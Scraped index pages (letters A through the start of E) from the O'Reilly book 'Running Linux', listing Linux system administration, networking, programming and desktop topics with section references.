Abstract Window Toolkit (AWT): 13.6.3. A Working Example of Java
access, file (see permissions)
access.conf file: 16.1.3.3. access.conf
AccessFileName directive: 16.1.3.2. srm.conf
accounts, user: 3.2.1. Creating a User Account
4.1. Logging In
5.7. Managing User Accounts
creating/deleting: 5.7.5. Creating Accounts
Acorn Disk Filing System (ADFS): 6.1.1. Filesystem Types
action attribute (HTML): 16.1.5.1. The HTML form document
Ada language: 13.7. Other Languages
Adaptec cards: D.3.2. Partitioning the Hard Disk
Adaptec interfaces: 3.1.1. Booting Linux
Adaptex SCSI interfaces: 3.1.1. Booting Linux
AddIcon directive: 16.1.3.2. srm.conf
AddIconByEncoding directive: 16.1.3.2. srm.conf
AddIconByType directive: 16.1.3.2. srm.conf
<address> HTML tag: 16.1.4.6. More HTML features
"Address or IRQ conflict?" error: 3.3.2.1. Isolating hardware problems
addresses
broadcast: 15.1.3.1. Your network configuration
15.1.3.2. The networking rc files
host: 15.1.1. TCP/IP Concepts
IP: 15.1.1. TCP/IP Concepts
15.1.3.1. Your network configuration
loopback: 15.1.1. TCP/IP Concepts
15.1.3.1. Your network configuration
network: 15.1.1. TCP/IP Concepts
15.1.3.1. Your network configuration
parallel port printer: 8.4.14. Printer System Troubleshooting
registering: 16.2.3.1. Registering an address
subnetwork: 15.1.1. TCP/IP Concepts
15.1.3.1. Your network configuration
15.1.3.1. Your network configuration
for variable storage: 14.1.5. Getting Information
AddToFunc command (fvwm): 11.2.1. Configuring fvwm
AddToMenu command (fvwm): 11.2.2. More Customizations
adduser command: 5.7.5. Creating Accounts
administration: 5. Essential System Management
cron utility and: 8.2. Scheduling Jobs Using cron
electronic mail: 16.2.3. Other Email Administrative Issues
emergency troubleshooting: 8.6. What to Do in an Emergency
printer services maintenance: 8.4.13. Printer Optimization
rebuilding kernel: 7.4. Building a New Kernel
system logs: 8.3. Managing System Logs
afio utility: 8.1.1.3. To gzip, or not to gzip?
agetty program: 5.3.3. rc files
aha1542= parameter (linux): 3.1.1. Booting Linux
aha152x= parameter (linux): 3.1.1. Booting Linux
aic7xxx= parameter (linux): 3.1.1. Booting Linux
Alias directive: 16.1.3.2. srm.conf
alias= option (LILO): G.2. Image Options
aliases: 11.4.5. Choosing Fonts
alpha stage: 1.7. Open Source and the Philosophy of Linux
Alpha systems: C. Installing Linux on Digital/ Compaq Alpha Systems
booting: C.6.3. Booting the Alpha System and Preparing to Load Milo
firmware programs: C.3.1. Limitations of ARC Firmware
C.5.3. Firmware/BIOS Peripheral Device Support
hardware: C.6.2. Preparing Hardware for Installation
requirements: C.5.1. Minimum Hardware
resources on: C.4. Collecting System Hardware Information
history and status: C.1. Alpha History and Status
identifying: C.3. Identifying Your Alpha System
installing Linux: C.3. Identifying Your Alpha System
C.6. Installing Linux
preparing to install: C.5. Preparing for Installation of Linux Alpha
installing Milo utility: C.3. Identifying Your Alpha System
tuning Linux: C.7. Tuning and Post-Installation Considerations
AlphaBIOS firmware: C.3.2. Limitations of AlphaBIOS Firmware
AlphaLinux resources: C.4.1.1. AlphaLinux sites
Amateur Radio support: 7.4.2. Building the Kernel
AmigaOS filesystems: 6.1.1. Filesystem Types
ampersand (&): 4.11. Putting a Command in the Background
background processing: 11.1.1. xinit
in HTML text escapes: 16.1.4.6. More HTML features
anchors: 16.1.4.3. Using links
anonymous FTP (see FTP)
ANSI C standard: 13.1.2. gcc Features
a.out file: 13.1.3. Basic gcc Usage
Apache web server: 1.5.7. Networking
Apache web servers: 16.1.3. Configuring Your Own WWW Server
apachectl utility: 16.1.3.4. Starting httpd
APM: 1.9. Hardware Requirements
append lines: 5.2.2.3. Specifying boot time options
append= option: G.3. Kernel Options
appending to files: 4.9. Saving Your Output
Appfinder application: 11.3.2. Using KDE
Apple II operating system: 12.2. Sharing Programs
Apple Mac HFS: 6.1.1. Filesystem Types
Apple Network Server: D.1.1. Other PowerPC Platforms
Apple PowerBook trackpads with LinuxPPC: D.6.2. PowerBook Trackpads
applets, Java: 13.6.1. The Promise of Java, or Why You Might Want to Use Java
application classes: 11.1.2. The X Resource Database
applications, Java: 13.6.1. The Promise of Java, or Why You Might Want to Use Java
applications, X: 11.4. X Applications
running on KDE: 11.3.2. Using KDE
ApplixWare office suite: 9.3.4. Word Processors
12.1.5. File Translation Utilities
apropos command: 4.12. Manual Pages
11.4.9. xman: A Point-and-Click Interface to Manual Pages
apsfilter directory: 8.4.9. Magic Filters: APSfilter and Alternatives
APSfilter package: 8.4.9. Magic Filters: APSfilter and Alternatives
ar command: 13.1.7. More Fun with Libraries
ARC firmware: C.3.1. Limitations of ARC Firmware
archiving files: 7.1. Archive and Compression Utilities
tar utility: 7.1.2. Using tar
gzip utility with: 7.1.3. Using tar with gzip
performing tricks with: 7.1.4. tar Tricks
ARPAnet: 15.1.1. TCP/IP Concepts
ASCII, lptest file and: 8.4.1. Checking Printer Hardware
ask mode (vga): 5.2.2.1. The /etc/lilo.conf file
assembly code: 13.1.2. gcc Features
associative arrays: 13.4.1. A Sample Program
asterisk (*): 4.8. Filename Expansion
in passwd file: 5.7.1. The passwd File
at sign (@): 13.2.5. Multiple Commands
ATAPI drives, Alpha system support: C.5.2. IDE/ATAPI Drive Support
Athena widget set: 14.2.6. Interface Building Tools
14.2.6. Interface Building Tools
attach command (gdb): 14.1.3. Debugging a Running Program
ATZ signal: 15.2.1.3.1. Writing a chat script
audio (see sound)
authentication: 5.7.3. PAM and Other Authentication Methods
PAM (Pluggable Authentication Methods): 5.7.3. PAM and Other Authentication Methods
protocols for: 15.2.1.3.5. PAP and CHAP
autoconf generator: 14.2.4. make and imake
Autofill mode (Emacs): 9.2.8. Tailoring Emacs
9.2.8. Tailoring Emacs
autofs package: 6.1.3. Automounting Devices
automatic hardware detection: 3.1.1. Booting Linux
automounter: 6.1.3. Automounting Devices
AWT (Abstract Window Toolkit): 13.6.3. A Working Example of Java
aztcd= parameter (linux): 3.1.1. Booting Linux
Aztech CD-ROM interfaces: 3.1.1. Booting Linux

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: B (Running Linux)

CGI Programming with PerlSearch this book

Index: B

<b> HTML tag: 16.1.4.6. More HTML features
Back button (Netscape): 16.1.1. Using Netscape Navigator
background
color
Emacs text editor: 11.4.7. Emacs
KDE desktop: 11.3.2. Using KDE
11.3.2. Using KDE
xterm: 11.1.2. The X Resource Database
xterm window: 11.1.1. xinit
processes: 4.11. Putting a Command in the Background
11.1.1. xinit
resource (X clients): 11.1.2. The X Resource Database
Backspace key: 9.2.8. Tailoring Emacs
backtrace command (gdb): 14.1.2. Examining a Core File
backup= option (LILO): G.1. Global Options
backups: 8.1. Making Backups
8.6. What to Do in an Emergency
compression and: 8.1.1.3. To gzip, or not to gzip?
cron and: 8.2. Scheduling Jobs Using cron
incremental: 8.1. Making Backups
8.1.2. Incremental Backups
restoring files from: 8.6.3. Restoring Files from Backup
bash shell: 4.5. Shells
13.3. Shell Programming
core files and: 14.1.2. Examining a Core File
batch files (see shells, scripts)
baud rate: 8.4.5.3. The rest of the printcap variables
BBS (bulletin board systems): 1.5.8. Telecommunications and BBS Software
obtaining Linux via: 2.1.3. Getting Linux from Other Online Sources
Berkeley Unix (see BSD)
beta stage: 1.7. Open Source and the Philosophy of Linux
-bg option: 11.1.1. xinit
bin directory: 4.16. Important Directories
binary emulators: 12.2. Sharing Programs
AlphaLinux: C.7.3. Binary Emulation
binary mode: 2.1.2. Getting Linux from the Internet
3.3.3. Problems Installing the Software
bindings for X resources: 11.1.2. The X Resource Database
BIOS: 2.2.3. Linux Partition Requirements
3.1.1. Booting Linux
Alpha system support: C.5.3. Firmware/BIOS Peripheral Device Support
Dosemu and: 12.2.1. DOS Emulators: Dosemu and xdos
emulating: 12.2.1. DOS Emulators: Dosemu and xdos
undetected SCSI controllers: 3.3.2.3. Problems with SCSI controllers and devices
bios= option (LILO): G.1. Global Options
bitmap files: 12.1.5. File Translation Utilities
block groups: 8.6.1. Repairing Filesystems
blocks: 3.1.3. Creating Linux Partitions
3.3.3. Problems Installing the Software
checking and repairing: 6.1.5. Checking and Repairing Filesystems
superblock: 8.6.1. Repairing Filesystems
bmouse= parameter (linux): 3.1.1. Booting Linux
"BogoMips" calculation: 5.3.1. Kernel Boot Messages
Bonobo project: B.5.1.5. The Bonobo component and document model
bookmarks file: 16.1.1. Using Netscape Navigator
/boot directory: 4.16. Important Directories
/boot/lilo.conf file: 5.2.2.1. The /etc/lilo.conf file
/boot/map file: 5.2.2.1. The /etc/lilo.conf file
/boot/vmlinuz file: 5.2.1. Using a Boot Floppy
boot floppy: 3.1.1. Booting Linux
3.1.7. Creating the Boot Floppy or Installing LILO
3.3.1. Problems with Booting the Installation Media
3.3.4.1. Problems booting Linux from floppy
5.2.1. Using a Boot Floppy
boot= option (LILO): G.1. Global Options
boot-time parameters: 3.1.1. Booting Linux
booting
Alpha systems: C.6.3. Booting the Alpha System and Preparing to Load Milo
LILO boot and command options: G. LILO Boot Options
Linux: 3.3.4.1. Problems booting Linux from floppy
5.1. Running the System
5.2. Booting the System
checking filesystems during: 6.1.5. Checking and Repairing Filesystems
messages: 5.3.1. Kernel Boot Messages
options for: 5.2.2.3. Specifying boot time options
troubleshooting: 3.3.1. Problems with Booting the Installation Media
Linux/m86k: E.4.1. Booting Linux
LinuxPPC: D.3. Preparing to Boot LinuxPPC
TCP/IP: 15.1.3.8. Trying out your network
booting Linux: 3.1.1. Booting Linux
BootX software: D.3.3. Installing BootX
D.5. Post-Installation: Setting Up the BootX Software
br variable (printcap): 8.4.5.3. The rest of the printcap variables
brackets []: 4.8. Filename Expansion
break command (gdb): 14.1.6.1. Breakpoints and watchpoints
breakpoints: 14.1.1. Tracing a Program
14.1.6.1. Breakpoints and watchpoints
broadcast address: 15.1.3.1. Your network configuration
15.1.3.2. The networking rc files
browsability of Windows files: 12.1.3.2. Configuring Samba
browsers on AlphaLinux: C.7.4. Graphical Browser Considerations
BSD (Berkeley Unix): 1.2. A Brief History of Linux
FreeBSD and NetBSD: A.4. General Software FTP Sites
1.8.4. Other Implementations of Unix
print utilities: 8.4.10. BSD Print System Elements: Files, Directories, and Utilities
8.4.14. Printer System Troubleshooting
9.5. Printing
bsh (Bourne shell): 13.3. Shell Programming
buffers, Emacs: 9.2.2. Simple Editing Commands
building kernel: 7.4.2. Building the Kernel
hardware and: 7.4.2. Building the Kernel
bulletin board systems (see BBS)
bunzip2 utility: 7.1.1. Using gzip and bzip2
bus architecture: 1.9.1. Motherboard and CPU Requirements
Buslogic SCSI interfaces: 3.1.1. Booting Linux
busmouse interface: 3.1.1. Booting Linux
byte codes: 13.6.1. The Promise of Java, or Why You Might Want to Use Java
bzip2 utility: 7.1.1. Using gzip and bzip2

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: C (Running Linux)

CGI Programming with PerlSearch this book

Index: C

C, C++ languages: 1.5.4. Programming Languages and Utilities
13.1. Programming with gcc
13.1.8. Using C++
compiler: 13.1. Programming with gcc
shared libraries: 13.1.7.1. Creating shared libraries
compiler, uprading: 7.2.2. Upgrading the Compiler
C mode (Emacs): 9.2.7. Running Commands and Programming Within Emacs
cables: 3.3.2.3. Problems with SCSI controllers and devices
calculator window (KDE): 11.3.2. Using KDE
call stack: 14.1.2. Examining a Core File
calls program: 14.2.2. Profiling and Performance Tools
cancel command: 9.5. Printing
"Cannot Access Memory At Address..." error: 14.1.2. Examining a Core File
Canvas engine for GNOME: B.5.1.4. The Canvas/Libart engines
carriage-return characters: 8.4.1. Checking Printer Hardware
8.4.7. Print Filters
case sensitivity: 4.1. Logging In
12.1.3.2. Configuring Samba
cat command: 4.4.3. Viewing Files, More or Less
8.4.1. Checking Printer Hardware
cd command: 4.4.1. Directories
CD-R drives: 1.9.6.2. CD -ROM and DVD-ROM storage
CD-ROM drives: 1.9.6.2. CD -ROM and DVD-ROM storage
Alpha systems with: C.3. Identifying Your Alpha System
drivers: 7.4.2. Building the Kernel
cdm206= parameter (linux): 3.1.1. Booting Linux
CDplayer program: 1.5.10. Other Applications
/cdrom directory: 6.1.2. Mounting Filesystems
cdrom service: 12.1.3.2. Configuring Samba
cdu31a= parameter (linux): 3.1.1. Booting Linux
CGI scripts: 16.1.5.2. Writing the CGI script
CHAP (Challenge Handshake Authentication Protocol): 15.2.1.3.5. PAP and CHAP
character devices: 7.4.2. Building the Kernel
chat utility: 15.2.1.1. Requirements
15.2.1.3.1. Writing a chat script
check option (mount): 12.1.1. Mounting DOS, VFAT, and NTFS Partitions
Checker package: 14.1.2. Examining a Core File
14.2.5. Using Checker
checking filesystems: 6.1.5. Checking and Repairing Filesystems
checking in files (see revision control)
chgrp command: 4.14. Changing the Owner, Group, and Permissions
chipsets, Alpha systems: C.4.2. CPU, Support Chipset, Board, and System Identification
chipsets, X Window System and: 10.2. Hardware Requirements
chmod command: 3.3.4.4. Problems using the system
4.14. Changing the Owner, Group, and Permissions
chown command: 4.14. Changing the Owner, Group, and Permissions
5.7.7. Modifying User Accounts
CHRP platform: D.1.1. Other PowerPC Platforms
chsh command: 4.5. Shells
ci command: 14.2.7. Revision Control Tools--RCS
14.2.7. Revision Control Tools--RCS
circumflex (^): 4.6. Useful Keys and How to Get Them to Work
CLASSPATH environment variable: 13.6.3. A Working Example of Java
client, X (see X Window System)
CLISP: 13.7. Other Languages
ClockChip command: 10.5. Filling in Video Card Information
clocks: 11.4.6. Clocks
dot: 10.5. Filling in Video Card Information
co command: 14.2.7. Revision Control Tools--RCS
code
debugging (see debugging)
indenting: 14.2.10. Indenting Code
languages (see programming languages)
optimizing: 13.1.2. gcc Features
13.1.5. Optimizing
14.1.1. Tracing a Program
Coherent filesystem: 6.1.1. Filesystem Types
col text filter: 9.5. Printing
colcrt text filter: 9.5. Printing
colors
Emacs and: 11.4.7. Emacs
11.4.7. Emacs
fvwm and: 11.2.1. Configuring fvwm
KDE desktop background: 11.3.2. Using KDE
KDE window contents: 11.3.2. Using KDE
virtual consoles: 8.5. Setting Terminal Attributes
combine utility (ImageMagick): 9.4.1. ImageMagick
command history: 4.7.2. Moving Around Among Commands
command-line editing: 4.7. Typing Shortcuts
command mode (vi): 9.1.2. Inserting Text and Moving Around
commands: 1.5.1. Basic Commands and Utilities
shell, vi and: 9.1.9. Running Shell Commands
startup, in rc files: 5.3.3. rc files
Unix, popular: 4.4. Popular Commands
comments
in Emacs: 9.2.8. Tailoring Emacs
Texinfo: 9.3.3.1. Writing the Texinfo source
commercial development: 1.7. Open Source and the Philosophy of Linux
commercial Linux applications: 1.5.3. Commercial Applications
communications (see telecommunications)
compact option (LILO): G.1. Global Options
Compaq Alpha (see Alpha systems)
Compaq Portable Math Library (CPML): C.7.2. Performance and Library Tuning
compiler, C (see gcc)
compiler, Java: 13.6.2. Getting Java for Linux
13.6.3. A Working Example of Java
compiling within Emacs: 9.2.7. Running Commands and Programming Within Emacs
compression: 7.1. Archive and Compression Utilities
8.1.1.3. To gzip, or not to gzip?
8.6.3. Restoring Files from Backup
bzip2 utility: 7.1.1. Using gzip and bzip2
compress program: 7.1.1. Using gzip and bzip2
gzip utility: 7.1.1. Using gzip and bzip2
tar utility with: 7.1.3. Using tar with gzip
log files: 8.3. Managing System Logs
CompuServe, obtaining Linux from: 2.1.3. Getting Linux from Other Online Sources
computer graphics (see graphics)
concept index: 9.3.3.1. Writing the Texinfo source
9.3.3.1. Writing the Texinfo source
Concurrent Version System (CVS): 14.2.8. Revision Control Tools--CVS
over Internet: 14.2.8.3. CVS over the Internet
configure (script): 14.2.4. make and imake
configuring
DNS: 15.2.1.3.3. Configuring DNS
Dosemu: 12.2.3. Installing and Configuring Dosemu
Elm mailer: 16.2.4.1. Preparing for installation
fvwm: 11.2.1. Configuring fvwm
Ghostscript: 8.4.6. Configuring Ghostscript
ISDN hardware: 15.3.1. Configuring Your ISDN Hardware
KDE desktop: 11.3.2. Using KDE
LILO: 5.2.2.1. The /etc/lilo.conf file
NET-4: 15.1.3. Configuring TCP/IP with Ethernet
NFS and NIS: 15.4. NFS and NIS Configuration
note-taking: 8.6. What to Do in an Emergency
Samba: 12.1.3.2. Configuring Samba
smail: 16.2.1.2. Configuring a Linux-installed smail package
TCP/IP with Ethernet: 15.1.3. Configuring TCP/IP with Ethernet
video cards: 10.5. Filling in Video Card Information
World Wide Web server: 16.1.3. Configuring Your Own WWW Server
XFree86: 10.4. Configuring XFree86
ConfigXF86 program: 10.4. Configuring XFree86
CONNECT signal: 15.2.1.3.1. Writing a chat script
consoles
Alpha system software: C.4.2. CPU, Support Chipset, Board, and System Identification
drivers: 7.4.2. Building the Kernel
Linux/SPARC systems: F.4. Installation from a Serial Console
F.6. Bootable Devices and Consoles
virtual: 4.3. Virtual Consoles
5.3.3. rc files
8.5. Setting Terminal Attributes
constant-width text: 16.1.4.6. More HTML features
Content-Length header: 16.2.4.1. Preparing for installation
continue command (gdb): 14.1.6.1. Breakpoints and watchpoints
control-panel program: 3.2.1. Creating a User Account
15.1.3.2. The networking rc files
controller, hard drive: 3.3.2.2. Problems recognizing hard drive or controller
controllers, SCSI (see SCSI drive controllers)
conv option (mount): 12.1.1. Mounting DOS, VFAT, and NTFS Partitions
convert utility (ImageMagick): 9.4.1. ImageMagick
copying: 9.2.4. Deleting, Copying, and Moving Text
(see also cutting and pasting)
directory hierarchies with tar: 7.1.4. tar Tricks
copyright, Linux: 1.6. About Linux's Copyright
CORBA system: B.5.2. The Common Object Request Broker Architecture (CORBA)
core files: 1.4.3. Kernel
1.5.4. Programming Languages and Utilities
14.1.1. Tracing a Program
14.1.1. Tracing a Program
14.1.2. Examining a Core File
Corel WordPerfect: 1.5.3. Commercial Applications
9.3.4. Word Processors
12.1.5. File Translation Utilities
corrupt files: 8.1.1.3. To gzip, or not to gzip?
8.6.2. Accessing Damaged Files
cost of Linux: 1. Introduction to Linux
1.3. Who's Using Linux?
1.6. About Linux's Copyright
1.8.4. Other Implementations of Unix
cp command: 5.2.1. Using a Boot Floppy
8.1. Making Backups
cpio utility: 8.1.1.3. To gzip, or not to gzip?
CP/M operating system: 12.2. Sharing Programs
CPML (Compaq Portable Math Library): C.7.2. Performance and Library Tuning
CPU
Alpha systems: C.4.2. CPU, Support Chipset, Board, and System Identification
architectures: 1.4.2. A Bag of Features
requirements for Linux: 1.9.1. Motherboard and CPU Requirements
time: 4.18. Processes
crashes (see core files)
cron directory: 8.2. Scheduling Jobs Using cron
cron utility: 8.2. Scheduling Jobs Using cron
crontab command (see cron utility)
csh (C shell): 4.5. Shells
13.3. Shell Programming
Ctrl-Alt-Del sequence: 3.2.4. Shutting Down the System
5.3.3. rc files
5.5. Shutting Down the System
customizing
Emacs: 9.2.2. Simple Editing Commands
9.2.8. Tailoring Emacs
14.1.6.3. Using Emacs with gdb
fvwm: 11.2.2. More Customizations
Netscape Navigator: 16.1.1. Using Netscape Navigator
X Windows System: 11. Customizing Your X Environment
cutting and pasting: 11.4.7. Emacs
in Emacs: 9.2.4. Deleting, Copying, and Moving Text
in vi: 9.1.11. Moving Text, and Using Registers
in xterm: 11.4.3. Cutting and Pasting Selections
CVF-FAT extension to DOS-FAT: 6.1.1. Filesystem Types
CVS (Concurrent Version System): 14.2.8. Revision Control Tools--CVS
over Internet: 14.2.8.3. CVS over the Internet
CVSROOT environment variable: 14.2.8.1. Setting up a CVS repository
cylinders: 3.1.1. Booting Linux
3.1.3. Creating Linux Partitions
3.3.2.2. Problems recognizing hard drive or controller
3.3.2.3. Problems with SCSI controllers and devices
cylinders= option (LILO): G.1. Global Options

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: D (Running Linux)

CGI Programming with PerlSearch this book

Index: D

daemons: 4.17. Programs That Serve You
4.17. Programs That Serve You
damaged files: 8.6.2. Accessing Damaged Files
DANG file: 12.2.3. Installing and Configuring Dosemu
data
debugging within programs: 14.1.4. Changing and Examining Data
transfer rate: 8.4.5.3. The rest of the printcap variables
Data Display Debugger (DDD): 14.2.1. Debuggers
dd command: 2.1.2. Getting Linux from the Internet
5.1. Running the System
5.2.1. Using a Boot Floppy
6.2.1. Creating Swap Space
DDD (Data Display Debugger): 14.2.1. Debuggers
Debian Linux
Alpha systems: C.2. The Linux Port
LinuxPPC: D. LinuxPPC: Installing Linux on PowerPC Computers
Motorola 68000-series systems: E.3. Distributions
debug parameter (linux): 3.1.1. Booting Linux
debugging: 3.1.1. Booting Linux
14.1.2. Examining a Core File
(see also troubleshooting)
Checker package: 14.1.2. Examining a Core File
14.2.5. Using Checker
core dumps (see core files)
gdb debugger: 13.1.2. gcc Features
13.1.6. Enabling Debugging Code
14.1. Debugging with gdb
shared libraries and: 13.1.7.1. Creating shared libraries
instruction-level: 14.1.6.2. Instruction-level debugging
interactive debuggers for: 14.2.1. Debuggers
log files and: 8.3. Managing System Logs
program while running: 14.1.3. Debugging a Running Program
redirecting error messages: 4.9. Saving Your Output
routing tables: 15.1.3.8. Trying out your network
DEC (Digital Equipment Corporation): C.1. Alpha History and Status
default gateway: 15.1.1. TCP/IP Concepts
default= option (LILO): G.1. Global Options
DefaultColorDepth option (XF86Config): 10.4. Configuring XFree86
DefaultIcon directive: 16.1.3.2. srm.conf
DefaultType directive: 16.1.4.4. An aside: MIME types
define-key function: 9.2.8. Tailoring Emacs
dektop system, GNOME: B.3. The GNOME Desktop: A User's Point of View
delay= option (LILO): G.1. Global Options
Delete key (Emacs): 9.2.8. Tailoring Emacs
deleting
LILO: 5.2.2.4. Removing LILO
partitions: 2.2.4. Repartitioning Your Drives
text: 9.2.4. Deleting, Copying, and Moving Text
9.2.4. Deleting, Copying, and Moving Text
(see also cutting and pasting)
vi editor: 9.1.3. Deleting Text and Undoing Changes
user accounts: 5.7.6. Deleting and Disabling Accounts
dependency line: 13.2.1. What make Does
Depth option (XF86Config): 10.4. Configuring XFree86
design of Linux: 1.7. Open Source and the Philosophy of Linux
desktop environments: 11. Customizing Your X Environment
desktop system, GNOME: B.1.2. The Role of GNOME
DeskTopSize command (fvwm): 11.2.1. Configuring fvwm
detach command (gdb): 14.1.3. Debugging a Running Program
detection parameters (hardware): 3.1.1. Booting Linux
/dev directory: 3.1.2. Drives and Partitions Under Linux
5.1. Running the System
6.3. Device Files
8.4.11. Exercising the Printer Daemon
15.2.1.2. Serial device names
/dev/fd# files: 3.1.2. Drives and Partitions Under Linux
8.1.1.2. Backing up to floppy
/dev/hda# files: 3.1.2. Drives and Partitions Under Linux
6.3. Device Files
/dev/lp# files: 8.4.1. Checking Printer Hardware
/dev/MAKEDEV script: 6.3. Device Files
/dev/mouse file: 6.3. Device Files
10.4. Configuring XFree86
/dev/nrft# and /nsft# files: 8.1.1.1. Backing up to tape
/dev/null file: 4.9. Saving Your Output
6.3. Device Files
8.2. Scheduling Jobs Using cron
/dev/rft# files: 8.1.1.1. Backing up to tape
/dev/sda# and /sdb# files: 3.1.2. Drives and Partitions Under Linux
/dev/st# files: 8.1.1.1. Backing up to tape
/dev/ttys# and ttyS# files: 8.4.1. Checking Printer Hardware
/dev/zero file: 6.3. Device Files
development, GNOME for: B.5. GNOME as a Development Platform
"device full" error: 3.3.3. Problems Installing the Software
devices: 8.4.11. Exercising the Printer Daemon
(see also /dev directory)
Alpha system support: C.5.3. Firmware/BIOS Peripheral Device Support
device files: 5.1. Running the System
6.3. Device Files
15.2.1.2. Serial device names
drivers: 3.1.2. Drives and Partitions Under Linux
loading: 7.5. Loadable Device Drivers
Windows and: 12. Windows Compatibility and Samba
Linux/SPARC systems: F.6. Bootable Devices and Consoles
virtual: 8.4.11. Exercising the Printer Daemon
DIA application: B.4. Some GNOME Applications
dial-up PPP: 15.2. Dial-up PPP
diff program: 14.2.9. Patching Files
Digital Alpha (see Alpha systems)
DIR_COLORS files: 4.4.2. Listing Files
direct memory access (DMA): 3.3.2.1. Isolating hardware problems
listing channels in use: 5.6. The /proc filesystem
directories: 4.4.1. Directories
4.16. Important Directories
copying hierarchies with tar: 7.1.4. tar Tricks
. (current): 4.10. What Is a Command?
.. (parent): 4.4.1. Directories
home: 5.7.1. The passwd File
permissions for: 4.13.1. What Permissions Mean
printer: 8.4.10.1. Setting up printer directories
Windows, mounting with Samba: 12.1.2. Using Samba to Mount Directories from Windows Systems on Your Network
directors file: 16.2.1.7. smail runtime configuration files
disabling
swap space: 6.2.3. Disabling Swap Space
user accounts: 5.7.6. Deleting and Disabling Accounts
disass command (gdb): 14.1.6.2. Instruction-level debugging
disk manager (see fdisk utility)
disk= option (LILO): G.1. Global Options
disk paging: 1.4.3. Kernel
disk space: 1.9.4. Hard Drive Space Requirements
(see also hard drives)
CD-ROM and tape drive storage: 1.9.6.2. CD -ROM and DVD-ROM storage
hard space geometry, specifying: 3.1.1. Booting Linux
log files: 8.3. Managing System Logs
multiple filesystems and: 2.2.3. Linux Partition Requirements
reserving for ramdisk: 3.1.1. Booting Linux
software requirements: 2.2.3. Linux Partition Requirements
specifying partition size: 3.1.3. Creating Linux Partitions
troubleshooting hard drives: 3.3.2.2. Problems recognizing hard drive or controller
disktab= option (LILO): G.1. Global Options
display command (gdb): 14.1.6.2. Instruction-level debugging
display scan and refresh rates: 10.4. Configuring XFree86
display utility (ImageMagick): 9.4.1. ImageMagick
distributions
Linux: 1.7. Open Source and the Philosophy of Linux
2.1. Distributions of Linux
installation differences: 3.1.6. Installing the Software
smail and: 16.2.1. The smail Mail Transport Agent
source: 7.2.3. Upgrading Other Software
DLLs (see shared libraries)
DMA (direct memory access): 3.3.2.1. Isolating hardware problems
listing channels in use: 5.6. The /proc filesystem
dma file (/proc): 5.6. The /proc filesystem
DNS (Domain Name Service): 15.1.1. TCP/IP Concepts
16.2.3.1. Registering an address
configuring: 15.2.1.3.3. Configuring DNS
doc file format: 12.1.5. File Translation Utilities
document model (Bonobo): B.5.1.5. The Bonobo component and document model
document processing: 9.3. Text and Document Processing
documentation: A. Sources of Linux Information
0.1. Why People Like Linux
1.10. Sources of Linux Information
configuring httpd: 16.1.3. Configuring Your Own WWW Server
Dosemu: 12.2.3. Installing and Configuring Dosemu
Elm mailer: 16.2.4.3. Elm documentation
Emacs: 9.2.3. Tutorial and Online Help
Info (see Info pages)
LDP: A. Sources of Linux Information
A.2. Linux Documentation Project Manuals
0.1. Why People Like Linux
0.1. Why People Like Linux
1.10.2. Books and Other Published Works
LILO configuration: 5.2.2.3. Specifying boot time options
manual pages: 4.12. Manual Pages
Perl: 13.4. Using Perl
printer: 8.4.2. Gathering Resources
TCP/IP: 15.1. Networking with TCP/IP
TeX: 9.3.1.3. Further reading
Texinfo: 9.3.3. Texinfo
vi editor: 9.1.12. Extending vi
XFree86: 10.4. Configuring XFree86
documents, HTML: 16.1.4. Writing HTML Documents
DOM (Document Object Model): B.5.1.3. XML/DOM libraries
domain name: 16.2.4.1. Preparing for installation
registering: 16.2.3.1. Registering an address
Domain Name Service (DNS): 15.1.1. TCP/IP Concepts
16.2.3.1. Registering an address
configuring: 15.2.1.3.3. Configuring DNS
domainname command: 15.4.2. Configuring NIS
DOS (see MS-DOS)
DOS-FAT filesystem: 6.1.1. Filesystem Types
Dosemu emulator: 12.2. Sharing Programs
12.2.1. DOS Emulators: Dosemu and xdos
installing and configuring: 12.2.3. Installing and Configuring Dosemu
obtaining: 12.2.2. Getting Dosemu and xdos
dosemu.conf file: 12.2.3. Installing and Configuring Dosemu
dot (.)
for current directory: 4.10. What Is a Command?
dot-termination of mail: 16.2.4.1. Preparing for installation
.. for parent directory: 4.4.1. Directories
starting filenames: 4.4.2. Listing Files
dot clock: 10.5. Filling in Video Card Information
dot-termination: 16.2.4.1. Preparing for installation
dotted quad notation: 15.1.1. TCP/IP Concepts
doublesided printing: 8.4.4. Checking Print Utilities
DoubleSpace: 6.1.1. Filesystem Types
down command (lpc): 8.4.12. Controlling Printer Services with lpc
drag-and-drop (KDE): 11.3. The K Desktop Environment
"Drive not bootable" error: 3.3.4.2. Problems booting Linux from the hard drive
drivers (see device drivers)
drives: 3.1.2. Drives and Partitions Under Linux
(see also disk space, hard drives)
names for: 3.1.2. Drives and Partitions Under Linux
partitioning (see partitions/filesystems; repartitioning)
DriveSpace: 6.1.1. Filesystem Types
du command: 4.9. Saving Your Output
duconv utility: 12.1.5. File Translation Utilities
DVD-ROM drives: 1.9.6.2. CD -ROM and DVD-ROM storage
1.9.6.2. CD -ROM and DVD-ROM storage
dynamic
linked libraries (see shared libraries)
routing information: 15.1.3.2. The networking rc files

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: E (Running Linux)

CGI Programming with PerlSearch this book

Index: E

Eagle Linux M86K: E.3. Distributions
EdgeScroll command (fvwm): 11.2.1. Configuring fvwm
edit mode (vi): 9.1.2. Inserting Text and Moving Around
editing, command-line: 4.7. Typing Shortcuts
EDITME file: 16.2.1.4. smail EDITME file
editors, text: 1.5.1. Basic Commands and Utilities
4. Basic Unix Commands and Concepts
9. Editors, Text Tools, Graphics, and Printing
e2fsck program: 8.6.1. Repairing Filesystems
egcs compiler: 7.2.2. Upgrading the Compiler
electronic mail: 16.2. Electronic Mail
adminstrative issues: 16.2.3. Other Email Administrative Issues
backing up: 8.1.1. Simple Backups
cron and: 8.2. Scheduling Jobs Using cron
